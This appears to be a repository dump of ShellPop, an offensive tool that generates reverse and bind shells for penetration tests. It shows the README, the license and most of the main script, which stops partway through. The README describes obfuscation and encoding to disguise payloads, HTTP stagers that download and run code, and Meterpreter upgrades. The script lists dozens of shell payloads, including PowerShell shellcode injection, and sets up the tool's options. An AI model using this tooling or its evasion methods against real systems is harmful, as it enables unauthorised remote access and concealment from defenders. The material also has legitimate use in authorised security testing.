├── .gitignore ├── KNOWN_ISSUES ├── LICENSE ├── README.md ├── bin └── shellpop ├── extras ├── how-to-install-and-use.txt └── shell_to_meterpreter.rb ├── img ├── handler-meterpreter.gif ├── handler.gif ├── img-ipfuscation-example.JPG ├── img-random-variables.JPG ├── img-shell-autocomplete.JPG ├── img-shell-example-01.JPG ├── img-shell-example-02.JPG ├── img-shell-example-03.JPG ├── img-shell-example-04.JPG ├── img-shell-example-05.JPG ├── img-shell-example-06.JPG ├── img-shell-example-07.JPG ├── img-shell-example-08.JPG ├── img-shell-example-09.JPG ├── img-shell-help.JPG ├── img-shell-list.JPG ├── img-small-obfuscation.JPG └── stager.gif ├── requirements.txt ├── setup.py └── src ├── __init__.py ├── binary.py ├── bind.py ├── classes.py ├── encoders.py ├── handlers.py ├── obfuscators.py ├── reverse.py └── stagers.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | shellpop.egg-info/ 3 | shellpop.egg-info/* 4 | build/ 5 | build/* 6 | dist/ 7 | dist/* 8 | test/ 9 | test/* 10 | .idea/* 11 | venv/* 12 | venv/ -------------------------------------------------------------------------------- /KNOWN_ISSUES: -------------------------------------------------------------------------------- 1 | 1. Powershell payloads generated with --xor and --base64 alongside with --powershell-random-case will not work. 2 | 1.1 Powershell payloads generated with --xor and --base64 still work. You just cant use --random-case in the case of --xor. 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Andre Marques (zc00l) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ShellPop 2 | ## About 3 | 4 | Shellpop is all about popping shells. With this tool you can 5 | generate easy and sophisticated reverse or bind shell commands 6 | to help you during penetration tests. 7 | 8 | Don't waste more time with .txt files storing your Reverse shells! 9 | ----- 10 | ## Installation 11 | Python 2.7 is required. 12 | 13 | 3.0+ version will not work. 14 | 15 | **Required Dependencies Install** 16 | ```bash 17 | root@kali# apt-get install python-argcomplete metasploit-framework -y 18 | ``` 19 | ```bash 20 | root@kali# pip install -r requirements.txt 21 | ``` 22 | **Setup Install** 23 | ```bash 24 | root@kali# python setup.py install 25 | ``` 26 | 27 | **PS**: After installation, tab auto-complete will only work after restarting the terminal. 28 | 29 | ## Index 30 | * [Help](#help-section) 31 | * [List](#shells-list) 32 | * [Basics](#basics) 33 | * [Obfuscation](#obfuscation) 34 | * [Encoders](#encoders) 35 | * [Handlers](#handlers) 36 | * [Meterpreter Shells](#meterpreter-shells-new) 37 | * [Stagers](#stagers) 38 | * [Protocols](#protocols) 39 | * [Credits](#credits) 40 | * [Team Members](#team-members) 41 | * [Contributors](#contributors) 42 | 43 | ----- 44 | ### __Help Section__ 45 | To quickly list all available options of this tools, use --help. 46 | 47 | #### *Command line examples* 48 | ```bash 49 | root@kali# shellpop --help 50 | ``` 51 | 52 | ![Screenshot](img/img-shell-help.JPG?raw=true) 53 | 54 | 55 | ----- 56 | ### __Shells List__ 57 | #### *List of shells* 58 | You can list all available shellpop shells using the --list option. 59 | 60 | 61 | #### *Command line example* 62 | ```bash 63 | root@kali# shellpop --list 64 | ``` 65 | 66 | ![ShellsList](img/img-shell-list.JPG?raw=true) 67 | 68 | ##### Auto-Complete [NEW] 69 | 70 | Now shellpop has auto-complete feature. To use it, you need to forget about --number and (--reverse or --bind), just stick to --payload argument. Like the image below: 71 | 72 | ![Autocomplete](img/img-shell-autocomplete.JPG?raw=true) 73 | 74 | ### __Basics__ 75 | ----- 76 | #### *Copying it to clipboard* 77 | Dont waste time. This tool is all about NOT wasting time. So you can use `--clip` option to all your generated payloads and get them automagically copied to your clipboard. 78 | 79 | #### *Shell Types* 80 | There is two types of payloads in this program: Bind or Reverse. 81 | 82 | ----- 83 | ##### 1. Reverse shell 84 | Reverse shells use your attacker machine to serve as the "server". In this type of payload, you need both --host and --port pointing back to your machine. A handler must be set. 85 | 86 | ----- 87 | ##### 2. Bind shell 88 | Bind shells use the remote host to serve the connection. In this type of payload, all you need is the --port option with a valid port number. 89 | 90 | 91 | #### Command line examples 92 | ##### Generating a Python TCP reverse shell to IP 1.2.3.4 at port 443 93 | ![Screenshot](img/img-shell-example-01.JPG?raw=true) 94 | 95 | ##### Generating a Powershell TCP bind shell over port 1337 96 | ![Screenshot](img/img-shell-example-02.JPG?raw=true) 97 | 98 | --- 99 | ### __Obfuscation__ 100 | There are currently two main methods of obfuscation available for your generated payloads: 101 | 102 | 1. *Variable renaming obfuscation* 103 | 104 | __Replaces all variables in payload with randomly named ones. Applied to every payload automatically.__ 105 | 106 | ![Screenshot](img/img-random-variables.JPG?raw=true) 107 | 108 | 2. *IPfuscation* 109 | 110 | __Obfuscate the IP addresse and port used by the payload__ 111 | 112 | Coined by @vysecurity, IPfuscation is simply leveraging the little known fact that IP addresses can be converted to decimal, octal, and hexadecimal numbers, or a combination of all three, and still be used. 113 | 114 | Port obfuscation is accomplished by replacing the port number with a mathematical expression that evaluates to the port number. 115 | 116 | ![Screenshot](img/img-ipfuscation-example.JPG?raw=true) 117 | 118 | Here the IP address in the generated payload is a combination of different number bases. The first part in normal decimal notation, the second and third parts are 2 and 3 converted to octal with random zeros as padding, and the fourth part is 4 in hex, with some zeros as padding also. The selection of bases to use in each part of the IP address is randomized, as well as the number of zeros used as padding to hex and octal numbers. 119 | 120 | The port is obfuscated by replacing 443 with an expression that evaluates to 443. This expression is generated randomly as well. 121 | 122 | --- 123 | #### Size Concerns 124 | Although IPfuscation is optional, random variable obfuscation is now automatically enforced on all payloads. If the size of the payload is a real concern, you can pass the `--obfuscate-small` option to have the payload be minimally increased in size by obfuscation. The variable names, IP address and port number will be significantly shorter when used with this option. 125 | 126 | ![Screenshot](img/img-small-obfuscation.JPG?raw=true) 127 | 128 | ----- 129 | ### __Encoders__ 130 | Encoders are special options that you can use while generating shellpop payloads. 131 | 132 | There are, currently, three encoding methods that can be applied singularly, or concurrently, and they are: 133 | 134 | 1. *XOR encoding* 135 | 136 | __Uses a random numeric key (1-255) to obfuscate the payload and add a decryption stub to decrypt it.__ 137 | 138 | 2. *Base64 encoding* 139 | 140 | __Simple base64 encoding in payload data and add a decryption stub to decrypt it.__ 141 | 142 | 3. *URL encoding* 143 | 144 | __Simple URL encode over the final payload.__ 145 | 146 | 147 | #### *Command line examples* 148 | ##### Generating a Python TCP reverse shell to IP 1.2.3.4 at port 443 but using URL-encoding, suitable to use over HTTP protocol. 149 | ![Screenshot](img/img-shell-example-03.JPG?raw=true) 150 | 151 | ##### Generating a Python TCP reverse shell to IP 1.2.3.4 at port 443 but encode it to base64 and set-up a wrapper to decode it. This helps when quotes are troublesome. 152 | ![Screenshot](img/img-shell-example-04.JPG?raw=true) 153 | 154 | ##### Generating a Python TCP reverse shell to IP 1.2.3.4 at port 443 URL-encoded and encoded to base64 ... Yes, you know the drill! 155 | ![Screenshot](img/img-shell-example-05.JPG?raw=true) 156 | 157 | ##### Generating a Powershell bind shell over port 1337 encoded in base64 158 | ![Screenshot](img/img-shell-example-06.JPG?raw=true) 159 | 160 | #### Generating a Python TCP reverse shell to IP 1.2.3.4 at port 443 using --xor encoding. 161 | ![Screenshot](img/img-shell-example-07.JPG?raw=true) 162 | 163 | #### Generating a Python TCP reverse shell to IP 1.2.3.4 at port 443 using ALL methods of encoding! 164 | ![Screenshot](img/img-shell-example-08.JPG?raw=true) 165 | 166 | ----- 167 | ### __Handlers__ 168 | Handler is a mechanism to "handle" the act of serving a socket to receive the incoming connection or to connect itself to a server endpoint in a way to establish your shell. 169 | 170 | Currently there is support of the following TCP handlers: 171 | 1. TCP PTY Handlers 172 | 2. TCP Meta-Handlers [NEW] 173 | 174 | This means every TCP shell can have appended to their command-line argument the `--handler` option. Removing the necessity of the operator to spawn the handler (probably ncat or nc) by himself. 175 | 176 | ![Screenshot](img/handler.gif?raw=true) 177 | 178 | ### __Meterpreter Shells__ [NEW] 179 | This feature was widely asked by people who used this tool. Now it is technically possible to upgrade all shellpop shells to meterpreter, as since 0.3.6, handler uses by default the Metasploit Framework to land shells. 180 | 181 | ![Meterpreter](img/handler-meterpreter.gif?raw=true) 182 | 183 | ----- 184 | ### __Stagers__ 185 | Stager is a mechanism of serving your payload in STAGES. Sometimes payload complexity or size can get troublesome. In such cases, you can craft a small payload which in turn can request and execute the bigger one. 186 | 187 | Currently there is support of the following Stagers protocols: 188 | 1. HTTP 189 | 190 | 191 | #### HTTP Stagers 192 | ShellPop has the following set of HTTP stagers to fit in any scenario you would want: 193 | 1. Linux Stagers (Python, Perl, Wget and cURL) 194 | 2. Windows Stagers (Powershell, CertUtil, BitsAdmin and Cscript) 195 | 196 | To use HTTP staging, append to your command line `--stager http` and, optionally, if you want to specify the HTTP server port, the `--http-port` flag will put your port number in front of the pre-defined ones. 197 | 198 | ![Screenshot](img/stager.gif?raw=true) 199 | 200 | ----- 201 | ### __Protocols__ 202 | Currently there is support of two protocols to land your shells: 203 | 204 | 1. TCP 205 | 2. UDP 206 | 3. ICMP (Nishang ICMP shell) 207 | 208 | #### *Command line examples* 209 | ##### TCP is blocked but UDP is not? Let there be shell! 210 | ![Screenshot](img/img-shell-example-09.JPG?raw=true) 211 | 212 | ----- 213 | ### __Credits__ 214 | 215 | This code is authored by Andre Marques (@zc00l) and this project's contributors. 216 | 217 | It is made open to public the moment it was released in this github. 218 | 219 | Any damage caused by this tool don't make any contributor, including the author, of responsibility. 220 | 221 | ----- 222 | ### __Team Members__ 223 | + Andre Marques ([zc00l](https://github.com/0x00-0x00)) 224 | + Touhid M.Shaikh ([touhidshaikh](https://github.com/touhidshaikh)) 225 | + Rοbеrt Εѕрі ([lowfuel](https://github.com/SouAquele)) 226 | ----- 227 | ### __Contributors__ 228 | We really appreciate all Contributors. 229 | -------------------------------------------------------------------------------- /bin/shellpop: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Description: 3 | # ShellPop is program to aid penetration testers 4 | # generating quick and dirty reverse/bind shell 5 | # code to get on with the pentests. 6 | # ========== 7 | # History: 8 | # Written by zc00l in 2018-03-7 9 | 10 | # Contributors 11 | # =================================================== 12 | # LowFuel contributed to the project in 27/04/2018 13 | # Github: https://github.com/SouAquele 14 | # Touhid Shaikh joined the project in 29/04/2018 15 | # Github: https://github.com/touhidshaikh 16 | 17 | 18 | import pyperclip 19 | import netifaces 20 | import argcomplete 21 | from argparse import ArgumentParser 22 | from sys import stderr 23 | from random import randint 24 | from multiprocessing import Process 25 | 26 | # package import 27 | from shellpop import * 28 | 29 | 30 | # Get current Operational System 31 | write = stderr.write 32 | flush = stderr.flush 33 | version = 0.36 # updated 04/06/2018 34 | 35 | AVAILABLE_SHELLS = [ 36 | 37 | # Bind shell list 38 | { 39 | # Introducing the new Shell object to hold 40 | # Information about the shells. Look below. 41 | 1: Shell("Python TCP +pty", # name 42 | "python", 43 | "bind", # shell type 44 | "tcp", # protocol 45 | BIND_PYTHON_TCP(), # code 46 | system="linux", 47 | lang="python", 48 | arch="Independent", 49 | use_handler=bind_tcp_pty_handler, 50 | use_http_stager=LINUX_STAGERS), 51 | 52 | 2: Shell("Python UDP", 53 | "python", 54 | "bind", 55 | "udp", 56 | BIND_PYTHON_UDP(), 57 | system="linux", 58 | lang="python", 59 | arch="Independent", 60 | use_handler=None, 61 | use_http_stager=LINUX_STAGERS), 62 | 63 | 3: Shell("Perl TCP", 64 | "perl" , 65 | "bind", 66 | "tcp", 67 | BIND_PERL_TCP(), 68 | system="linux", 69 | lang="perl", 70 | arch="Independent", 71 | use_handler=bind_tcp_handler, 72 | use_http_stager=LINUX_STAGERS), 73 | 74 | 4: Shell("Perl UDP", 75 | "perl", 76 | "bind", 77 | "udp", 78 | BIND_PERL_UDP(), 79 | system="linux", 80 | lang="perl", 81 | arch="Independent", 82 | use_handler=None, 83 | use_http_stager=LINUX_STAGERS), 84 | 85 | 5: Shell("PHP TCP", 86 | "php", 87 | "bind", 88 | "tcp", 89 | BIND_PHP_TCP(), 90 | system="linux", 91 | lang="php", 92 | arch="Independent", 93 | use_handler=bind_tcp_handler, 94 | use_http_stager=LINUX_STAGERS), 95 | 96 | 6: Shell("PHP UDP", 97 | "php", 98 | "bind", 99 | "udp", 100 | BIND_PHP_UDP(), 101 | system="linux", 102 | lang="php", 103 | arch="Independent", 104 | use_handler=None, 105 | use_http_stager=LINUX_STAGERS), 106 | 107 | 7: Shell("Ruby TCP", 108 | "ruby", 109 | "bind", 110 | "tcp", 111 | BIND_RUBY_TCP(), 112 | system="linux", 113 | lang="ruby", 114 | arch="Independent", 115 | use_handler=bind_tcp_handler, 116 | use_http_stager=LINUX_STAGERS), 117 | 118 | 8: Shell("Ruby UDP", 119 | "ruby", 120 | "bind", 121 | "udp", 122 | BIND_RUBY_UDP(), 123 | system="linux", 124 | lang="ruby", 125 | arch="Independent", 126 | use_handler=None, 127 | use_http_stager=LINUX_STAGERS), 128 | 129 | 9: Shell("Netcat (OpenBSD) TCP", 130 | "netcat_openbsd", 131 | "bind", 132 | "tcp", 133 | BIND_NETCAT_TCP(), 134 | system="linux", 135 | lang="bash", 136 | arch="Independent", 137 | use_handler=bind_tcp_handler, 138 | use_http_stager=LINUX_STAGERS), 139 | 140 | 10: Shell("Netcat+coproc (OpenBSD) UDP", 141 | "netcat_openbsd", 142 | "bind", 143 | "udp", 144 | BIND_NETCAT_OPENBSD_UDP(), 145 | system="linux", 146 | lang="bash", 147 | arch="Independent", 148 | use_handler=None, 149 | use_http_stager=LINUX_STAGERS), 150 | 151 | 11: Shell("Netcat (Traditional) TCP", 152 | "netcat_traditional", 153 | "bind", 154 | "tcp", 155 | BIND_NETCAT_TRADITIONAL_TCP(), 156 | system="linux", 157 | lang="bash", 158 | arch="Independent", 159 | use_handler=bind_tcp_handler, 160 | use_http_stager=LINUX_STAGERS), 161 | 162 | 12: Shell("AWK TCP", 163 | "awk", 164 | "bind", 165 | "tcp", 166 | BIND_AWK_TCP(), 167 | system="linux", 168 | lang="bash", 169 | arch="Independent", 170 | use_handler=bind_tcp_handler, 171 | use_http_stager=LINUX_STAGERS), 172 | 173 | 13: Shell("socat UDP", 174 | "awk", 175 | "bind", 176 | "udp", 177 | BIND_SOCAT_UDP(), 178 | system="linux", 179 | lang="bash", 180 | arch="Independent", 181 | use_handler=None, 182 | use_http_stager=LINUX_STAGERS), 183 | 184 | 14: Shell("Windows Powershell TCP", 185 | "powershell", 186 | "bind", 187 | "tcp", 188 | BIND_POWERSHELL_TCP(), 189 | system="windows", 190 | lang="powershell", 191 | arch="x86 / x64", 192 | use_handler=bind_tcp_handler, 193 | use_http_stager=[WINDOWS_STAGERS[0]]), 194 | 195 | 15: Shell("Windows Powershell Nishang TCP", 196 | "powershell_nishang", 197 | "bind", 198 | "tcp", 199 | BIND_POWERSHELL_NISHANG_TCP(), 200 | system="windows", 201 | lang="powershell", 202 | arch="x86 / x64", 203 | use_handler=bind_tcp_handler, 204 | use_http_stager=[(1, PurePowershell_HTTP_Stager)]) 205 | }, 206 | 207 | # Reverse shell list 208 | { 209 | 1: Shell("Python TCP +pty", 210 | "python", 211 | "reverse", 212 | "tcp", 213 | REV_PYTHON_TCP(), 214 | system="linux", 215 | lang="python", 216 | arch="Independent", 217 | use_handler=reverse_tcp_pty_handler, 218 | use_http_stager=LINUX_STAGERS), 219 | 220 | 2: Shell("Python UDP", 221 | "python", 222 | "reverse", 223 | "udp", 224 | REV_PYTHON_UDP(), 225 | system="linux", 226 | lang="python", 227 | arch="Independent", 228 | use_handler=None, 229 | use_http_stager=LINUX_STAGERS), 230 | 231 | 3: Shell("PHP TCP", 232 | "php", 233 | "reverse", 234 | "tcp", 235 | REV_PHP_TCP(), 236 | system="linux", 237 | lang="php", 238 | arch="Independent", 239 | use_handler=reverse_tcp_handler, 240 | use_http_stager=LINUX_STAGERS), 241 | 242 | 4: Shell("Ruby TCP", 243 | "ruby", 244 | "reverse", 245 | "tcp", 246 | REV_RUBY_TCP(), 247 | system="linux", 248 | lang="ruby", 249 | arch="Independent", 250 | use_handler=reverse_tcp_handler, 251 | use_http_stager=LINUX_STAGERS), 252 | 253 | 5: Shell("Perl TCP 01", 254 | "perl_1", 255 | "reverse", 256 | "tcp", 257 | REV_PERL_TCP(), 258 | system="linux", 259 | lang="perl", 260 | arch="Independent", 261 | use_handler=reverse_tcp_handler, 262 | use_http_stager=LINUX_STAGERS), 263 | 264 | 6: Shell("Perl TCP 02", 265 | "perl_2", 266 | "reverse", 267 | "tcp", 268 | REV_PERL_TCP_2(), 269 | system="linux", 270 | lang="perl", 271 | arch="Independent", 272 | use_handler=reverse_tcp_handler, 273 | use_http_stager=LINUX_STAGERS), 274 | 275 | 7: Shell("Perl UDP [nc -lkvup PORT]", 276 | "perl", 277 | "reverse", 278 | "udp", 279 | REV_PERL_UDP(), 280 | system="linux", 281 | lang="perl", 282 | arch="Independent", 283 | use_handler=None, 284 | use_http_stager=LINUX_STAGERS), 285 | 286 | 8: Shell("Bash TCP", 287 | "bash", 288 | "reverse", 289 | "tcp", 290 | BASH_TCP(), 291 | system="linux", 292 | lang="bash", 293 | arch="Independent", 294 | use_handler=reverse_tcp_handler, 295 | use_http_stager=LINUX_STAGERS), 296 | 297 | 9: Shell("Windows Powershell TCP", 298 | "powershell", 299 | "reverse", 300 | "tcp", 301 | REV_POWERSHELL_TCP(), 302 | system="windows", 303 | lang="powershell", 304 | arch="x86 / x64", 305 | use_handler=reverse_tcp_handler, 306 | use_http_stager=[WINDOWS_STAGERS[0]]), 307 | 308 | 10: Shell("TCLsh TCP", 309 | "tclsh", 310 | "reverse", 311 | "tcp", 312 | REVERSE_TCLSH(), 313 | system="linux", 314 | lang="bash", 315 | arch="Independent", 316 | use_handler=reverse_tcp_handler, 317 | use_http_stager=LINUX_STAGERS), 318 | 319 | 11: Shell("Ncat TCP", 320 | "ncat", 321 | "reverse", 322 | "tcp", 323 | REVERSE_NCAT(), 324 | system="linux", 325 | lang="bash", 326 | arch="Independent", 327 | use_handler=reverse_tcp_handler, 328 | use_http_stager=LINUX_STAGERS), 329 | 330 | 12: Shell("Ncat SSL TCP", 331 | "ncat_ssl", 332 | "reverse", 333 | "tcp", 334 | REVERSE_NCAT_SSL(), 335 | system="linux", 336 | lang="bash", 337 | arch="Independent", 338 | use_handler=reverse_tcp_handler, 339 | use_http_stager=LINUX_STAGERS), 340 | 341 | 13: Shell("Netcat (Traditional) UDP", 342 | "netcat_traditional", 343 | "reverse", 344 | "udp", 345 | REVERSE_NC_UDP_1(), 346 | system="linux", 347 | lang="bash", 348 | arch="Independent", 349 | use_handler=None, 350 | use_http_stager=LINUX_STAGERS), 351 | 352 | 14: Shell("Netcat (Traditional) TCP", 353 | "netcat_traditional", 354 | "reverse", 355 | "tcp", 356 | REVERSE_NC_TRADITIONAL_1(), 357 | system="linux", 358 | lang="bash", 359 | arch="Independent", 360 | use_handler=reverse_tcp_handler, 361 | use_http_stager=LINUX_STAGERS), 362 | 363 | 15: Shell("Netcat (OpenBSD) mkfifo TCP", 364 | "netcat_openbsd", 365 | "reverse", 366 | "tcp", 367 | REVERSE_MKFIFO_NC(), 368 | system="linux", 369 | lang="bash", 370 | arch="Independent", 371 | use_handler=reverse_tcp_handler, 372 | use_http_stager=LINUX_STAGERS), 373 | 374 | 16: Shell("Netcat (OpenBSD) mknod TCP", 375 | "netcat_openbsd", 376 | "reverse", 377 | "tcp", 378 | REVERSE_MKNOD_NC(), 379 | system="linux", 380 | lang="bash", 381 | arch="Independent", 382 | use_handler=reverse_tcp_handler, 383 | use_http_stager=LINUX_STAGERS), 384 | 385 | 17: Shell("Telnet mkfifo TCP", 386 | "telnet_mkfifo", 387 | "reverse", 388 | "tcp", 389 | REVERSE_MKFIFO_TELNET(), 390 | system="linux", 391 | lang="bash", 392 | arch="Independent", 393 | use_handler=reverse_tcp_handler, 394 | use_http_stager=LINUX_STAGERS), 395 | 396 | 18: Shell("Telnet mknod TCP", 397 | "telnet_mknod", 398 | "reverse", 399 | "tcp", 400 | REVERSE_MKNOD_TELNET(), 401 | system="linux", 402 | lang="bash", 403 | arch="Independent", 404 | use_handler=reverse_tcp_handler, 405 | use_http_stager=LINUX_STAGERS), 406 | 407 | 19: Shell("openssl TCP", 408 | "openssl", 409 | "reverse", 410 | "tcp", 411 | REVERSE_OPENSSL(), 412 | system="linux", 413 | lang="bash", 414 | arch="Independent", 415 | use_handler=reverse_tcp_handler, 416 | use_http_stager=LINUX_STAGERS), 417 | 418 | 20: Shell("socat TCP", 419 | "socat", 420 | "reverse", 421 | "tcp", 422 | REVERSE_SOCAT(), 423 | system="linux", 424 | lang="bash", 425 | arch="Independent", 426 | use_handler=reverse_tcp_handler, 427 | use_http_stager=LINUX_STAGERS), 428 | 429 | 21: Shell("awk TCP", 430 | "awk", 431 | "reverse", 432 | "tcp", 433 | REVERSE_AWK(), 434 | system="linux", 435 | lang="bash", 436 | arch="Independent", 437 | use_handler=reverse_tcp_handler, 438 | use_http_stager=LINUX_STAGERS), 439 | 440 | 22: Shell("awk UDP", 441 | "awk", 442 | "reverse", 443 | "udp", 444 | REVERSE_AWK_UDP(), 445 | system="linux", 446 | lang="bash", 447 | arch="Independent", 448 | use_handler=None, 449 | use_http_stager=LINUX_STAGERS), 450 | 451 | 23: Shell("Windows Bat2Ncat TCP", 452 | "bat2exe_ncat", 453 | "reverse", 454 | "tcp", 455 | REVERSE_WINDOWS_NCAT_TCP(), 456 | system="windows", 457 | lang="cmd", 458 | arch="x86 / x64", 459 | use_handler=reverse_tcp_handler, 460 | use_http_stager=list(filter(lambda x: x[0] not in [3, 1], WINDOWS_STAGERS))), 461 | 462 | 24: Shell("Windows Powershell Shellcode-Injection a.k.a BloodSeeker TCP - x64", 463 | "powershell_shellcode_injection", 464 | "reverse", 465 | "tcp", 466 | REVERSE_WINDOWS_BLOODSEEKER_TCP(), 467 | system="windows", 468 | lang="powershell", 469 | arch="x64", 470 | use_handler=None, 471 | use_http_stager=[(1, PurePowershell_HTTP_Stager)]), # This will only work with powershell. 472 | 473 | 25: Shell("Windows Powershell Tiny TCP", 474 | "powershell_tiny", 475 | "reverse", 476 | "tcp", 477 | REVERSE_POWERSHELL_TINY_TCP(), 478 | system="windows", 479 | lang="powershell", 480 | arch="x86 / x64", 481 | use_handler=reverse_tcp_handler, 482 | use_http_stager=[WINDOWS_STAGERS[0]]), 483 | 484 | 26: Shell("Windows Powershell Nishang TCP", 485 | "powershell_nishang", 486 | "reverse", 487 | "tcp", 488 | REVERSE_POWERSHELL_NISHANG_TCP(), 489 | system="windows", 490 | lang="powershell", 491 | arch="x86 / x64", 492 | use_handler=reverse_tcp_handler, 493 | use_http_stager=[(1, PurePowershell_HTTP_Stager)]), 494 | 495 | 27: Shell("Windows Powershell Nishang ICMP", 496 | "powershell_nishang", 497 | "reverse", 498 | "icmp", 499 | REVERSE_POWERSHELL_ICMP(), 500 | system="windows", 501 | lang="powershell", 502 | arch="x86 / x64", 503 | use_handler=None, 504 | use_http_stager=[(1, PurePowershell_HTTP_Stager)]), 505 | 506 | 28: Shell("Windows Bat2Meterpreter TCP", 507 | "bat2meterpreter", 508 | "reverse", 509 | "tcp", 510 | REVERSE_WINDOWS_BAT2METERPRETER_TCP(), 511 | system="windows", 512 | lang="cmd", 513 | arch="x86 / x64", 514 | use_handler=None, 515 | use_http_stager=list(filter(lambda x: x[0] not in [1, 3], WINDOWS_STAGERS))), 516 | 517 | 29: Shell("Groovy TCP", 518 | "groovy", 519 | "reverse", 520 | "tcp", 521 | REVERSE_GROOVY_TCP(), 522 | system="multi", 523 | lang="grovvy", 524 | arch="Independent", 525 | use_handler=reverse_tcp_handler, 526 | use_http_stager=list(filter(lambda x: x[0] not in [1], WINDOWS_STAGERS))), 527 | } 528 | ] 529 | 530 | bind_shells = AVAILABLE_SHELLS[0] 531 | reverse_shells = AVAILABLE_SHELLS[1] 532 | 533 | 534 | def proto_colorize(shell_name): 535 | """ 536 | This code is responsible to colorize 537 | the protocol of bind/reverse shells name. 538 | """ 539 | proto_avail = [ 540 | ("UDP", "94"), 541 | ("TCP", "93"), 542 | ("ICMP", "92"), ] # available protocols to colorize. 543 | for proto in proto_avail: 544 | if proto[0] in shell_name: 545 | shell_name = shell_name.replace(proto[0], "\033[{0}m{1}\033[0m".format(proto[1], proto[0])) 546 | return shell_name 547 | 548 | 549 | def list_shells(): 550 | write(info("\033[1mBind shells\033[0m:\n\n")) 551 | for i in range(1, len(bind_shells)+1): 552 | obj = bind_shells[i] 553 | print("{0}. {1}".format(str(i).rjust(3), proto_colorize(obj.name))) 554 | 555 | write("\n\n") 556 | write(info("\033[1mReverse shells\033[0m:\n\n")) 557 | for i in range(1, len(reverse_shells)+1): 558 | obj = reverse_shells[i] 559 | print("{0}. {1}".format(str(i).rjust(3), proto_colorize(obj.name))) 560 | return 0 561 | 562 | 563 | def check_shell_number(number, reverse=True): 564 | """ 565 | Check if the number supplied is not too high. 566 | @zc00l 567 | """ 568 | if reverse is True: 569 | if number > len(reverse_shells): 570 | return None 571 | else: 572 | if number > len(bind_shells): 573 | return None 574 | return True 575 | 576 | 577 | def header(): 578 | contributors = ["@zc00l", "@touhidshaikh", "@lowfuel"] 579 | return "\033[093mshellpop\033[0m v{0}\n\033[93mContributors\033[0m: {1}\n\n".format(version, 580 | ','.join([x for x in 581 | contributors])) 582 | 583 | 584 | def select_shell(args, shell_type, shell_index): 585 | 586 | # Update algorithm after the new introduced Shell object. 587 | # This function used to return a string, containing the 588 | # final payload code. Now it returns a Shell() object. 589 | # This Shell() object has the final payload in the 'pay- 590 | # load' attribute. 591 | 592 | if shell_type == "reverse": 593 | for shell in reverse_shells: 594 | obj = reverse_shells[shell] 595 | if shell == shell_index: 596 | code = obj.code 597 | name = obj.name 598 | lang = obj.lang 599 | rev = ReverseShell(name, lang, args, code) 600 | generated = rev.get() 601 | obj.payload = generated 602 | return obj 603 | 604 | elif shell_type == "bind": 605 | for shell in bind_shells: 606 | obj = bind_shells[shell] 607 | if shell == shell_index: 608 | code = obj.code 609 | name = obj.name 610 | lang = obj.lang 611 | bind = BindShell(name, lang, args, code) 612 | generated = bind.get() 613 | obj.payload = generated 614 | return obj 615 | 616 | 617 | # Completer function for tab-completion. 618 | def get_shells(prefix, parsed_args, **kwargs): 619 | all_shells = reverse_shells.values() 620 | all_shells.extend(bind_shells.values()) 621 | return [x.get_full_name() for x in all_shells] 622 | 623 | 624 | def get_shell_number(str_data, dataset): 625 | """ 626 | Returns the correct integer from shell lists using a short_name 627 | @zc00l 628 | """ 629 | for shell in dataset: 630 | obj = dataset[shell] 631 | if obj.get_full_name() == str_data: 632 | return shell 633 | return None 634 | 635 | 636 | def main(): 637 | parser = ArgumentParser(epilog='Pop shells like a master. For more help visit:https://github.com/0x00-0x00/ShellPop') 638 | parser._optionals.title = "Options" 639 | 640 | # List mode 641 | parser.add_argument("-l", "--list", help="List of available shells", action="store_true") 642 | 643 | # Program parameters 644 | parser.add_argument("-H", "--host", type=str, help="IP to be used in connectback (reverse) shells.") 645 | parser.add_argument("-P", "--port", type=int, help="Port to be used in reverse/bind shell code.") 646 | parser.add_argument("--number", type=int, help="Shell code index number", required=False) 647 | parser.add_argument("--shell", type=str, default="", 648 | help="Terminal shell to be used when decoding some encoding scheme.", required=False) 649 | 650 | # Shell Type 651 | payload_arg = parser.add_argument_group('Shell Types') 652 | payload_arg.add_argument("--reverse", action="store_true", 653 | help="Victim communicates back to the attacking machine.") 654 | payload_arg.add_argument("--bind", action="store_true", help="Open up a listener on the victim machine.") 655 | #payload_arg.add_argument("-M", "--meterpreter", action="store_true", help="Upgrades shell to a meterpreter session.") 656 | 657 | # Alternative way to select shell payloads, using auto-tab completion. 658 | payload_arg.add_argument("--payload", required=False, help="Choose the payload").completer = get_shells 659 | 660 | # Available encodings 661 | encoders = parser.add_argument_group('Encoders Options') 662 | encoders.add_argument("--xor", action="store_true",help="Enable XOR obfuscation", required=False) 663 | encoders.add_argument("--base64", action="store_true", required=False, help="Encode command in base64.") 664 | encoders.add_argument("--urlencode", action="store_true", required=False, 665 | help="Encode the command in URL encoding.") 666 | 667 | # Obfuscation options 668 | obfuscation = parser.add_argument_group("Obfuscation Options") 669 | obfuscation.add_argument("--ipfuscate", action="store_true", required=False, help="Obfuscate IP address.") 670 | obfuscation.add_argument("--obfuscate-small", action="store_true", default=False, required=False, help="Obfuscated \ 671 | command will be as small as possible.") 672 | 673 | # Use handler if possible. 674 | parser.add_argument("--handler", action="store_true", help="Use handler, if possible.", default=False, 675 | required=False) 676 | 677 | # Staging 678 | stagingarg = parser.add_argument_group("Staging Options") 679 | # Use staging 680 | 